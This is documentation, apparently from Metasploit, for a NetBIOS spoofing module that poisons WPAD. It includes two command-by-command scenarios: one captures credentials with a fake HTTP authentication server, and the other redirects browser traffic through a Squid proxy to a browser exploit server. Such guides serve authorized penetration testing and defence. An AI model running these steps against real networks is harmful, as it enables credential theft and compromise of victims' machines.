Netbios Spoof

netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. By default, the module will attempt to poison WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal sensitive information, or obtain arbitrary code execution.

Vulnerable Application

Windows is the most ideal target because it supports WPAD by default.

Options

NBADDR

The address that the NetBIOS name (NBNAME) should resolve to.

NBNAME

The NetBIOS name to spoof a reply for.

PPSRATE

The rate at which to send NetBIOS replies.

Scenarios

Credential Collection Attack Using Targeted NetBIOS Spoofing:

The following example uses http_basic, but other modules (such as http_ntlm) also applies.

Step 1: Start the first Metasploit instance:

1. rvmsudo ./msfconsole -q
2. use auxiliary/server/capture/http_basic
3. set REALM google.com
4. set URIPATH /
5. run

Step 2: Start the second Metasploit instance:

1. rvmsudo ./msfconsole -q
2. use auxiliary/admin/netbios/netbios_spoof
3. set NBADDR [IP to fake HTTP auth server]
4. set PPSRATE 30000
5. set RHOST [Target Host]
6. run

Step 3: On the victim machine:

1. Make sure IE automatically detects settings (under LAN settings)
2. Start IE, as soon as it opens, IE should try to authenticate.

If the spoofed name has already been cached, you can do this to flush. And then next time IE will be asked for credentials again.

ipconfig /flushdns

Arbitrary Code Execution Using Targeted NetBIOS Spoofing:

The following example will spoof WPAD and causes google.com to redirect to an exploit server.

Step 1: Start the first Metasploit instance:

1. rvmsudo ./msfconsole -q
2. use auxiliary/server/browser_autopwn2
3. set SRVPORT 8181
4. run

Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.

Step 2: Install Squid Proxy server (or SquidMan if you use OS X), and edit the configuration file:

First, uncomment these settings if they are found in the file:

• http_access deny all
• http_access deny !Safe_ports
• http_access deny CONNECT !SSL_ports
• http_access deny to_localhost
• http_access deny all
• always_direct deny all

Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn URL field:

acl MyNetwork src 192.168.1.0/24
acl BLKSite dstdomain .google.com
deny_info [BrowserAutoPwn URL] all
http_reply_access deny BLKSite all
http_access allow MyNetwork

Step 3: Start the second Metasploit instance:

1. rvmsudo ./msfconsole -q
2. use auxiliary/server/wpad
3. set PROXY [Proxy IP]
4. set PROXYPORT 8080
5. run

Step 4: Start the third Metasploit instance:

1. rvmsudo ./msfconsole -q
2. use auxiliary/admin/netbios/netbios_spoof
3. set NBADDR [IP to fake HTTP server]
4. set PPSRATE 30000
5. set RHOST [Target Host]
6. run

Step 5: On the victim machine:

1. Make sure IE automatically detects settings (under LAN settings)
2. Start IE
3. Go to google.com, IE should end up loading the exploit server.

If the spoofed name has already been cached, you can do this to flush.

ipconfig /flushdns